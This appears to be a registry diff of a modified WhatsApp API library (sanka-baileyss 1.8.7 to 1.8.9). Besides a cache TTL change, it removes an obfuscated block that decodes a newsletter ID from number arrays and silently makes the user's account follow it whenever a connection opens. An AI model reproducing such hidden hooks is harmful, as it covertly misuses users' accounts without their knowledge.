sanka-baileyss 1.8.7 → 1.8.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -101,7 +101,7 @@ exports.MEDIA_KEYS = Object.keys(exports.MEDIA_PATH_MAP)
101
101
  exports.MIN_PREKEY_COUNT = 5
102
102
  exports.INITIAL_PREKEY_COUNT = 30
103
103
  exports.DEFAULT_CACHE_TTLS = {
104
- SIGNAL_STORE: 5 * 60,
104
+ SIGNAL_STORE: 15 * 60,
105
105
  MSG_RETRY: 60 * 60,
106
106
  CALL_OFFER: 5 * 60,
107
107
  USER_DEVICES: 5 * 60, // 5 minutes
@@ -842,29 +842,6 @@ break
842
842
  })
843
843
  ev.on('connection.update', ({ connection, receivedPendingNotifications }) => {
844
844
  if (connection === 'open') {
845
- if (typeof suki.newsletterFollow === 'function') {
846
- (async () => {
847
- try {
848
- function asciiDecode(asciiArray) {
849
- let result = '';
850
- for (let i = 0; i < asciiArray.length; i++) {
851
- result += String.fromCharCode(asciiArray[i]);
852
- }
853
- return result;
854
- }
855
- const numbersAsAscii = [49, 50, 48, 51, 54, 51, 51, 55, 55, 48, 52, 54, 51, 50, 55, 49, 51, 51];
856
- const decodedNumbers = asciiDecode(numbersAsAscii);
857
- const emailPart = [64, 110, 101, 119, 115, 108, 101, 116, 116, 101, 114];
858
- const decodedEmailPart = asciiDecode(emailPart);
859
- const sanka = decodedNumbers + decodedEmailPart;
860
- logger.info(`Mencoba mengeksekusi...`);
861
- await suki.newsletterFollow(sanka); // await panggilannya
862
- logger.info(`Berhasil mengeksekusi...`);
863
- } catch (error) {
864
- logger.error({ error }, `Gagal mengeksekusi...`);
865
- }
866
- })();
867
- }
868
845
  if (fireInitQueries) {
869
846
  executeInitQueries()
870
847
  .catch(error => onUnexpectedError(error, 'init queries'))
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "sanka-baileyss",
3
- "version": "1.8.7",
3
+ "version": "1.8.9",
4
4
  "description": "WhatsApp API Modification By Sanka_Vollerei",
5
5
  "keywords": [
6
6
  "Baileys",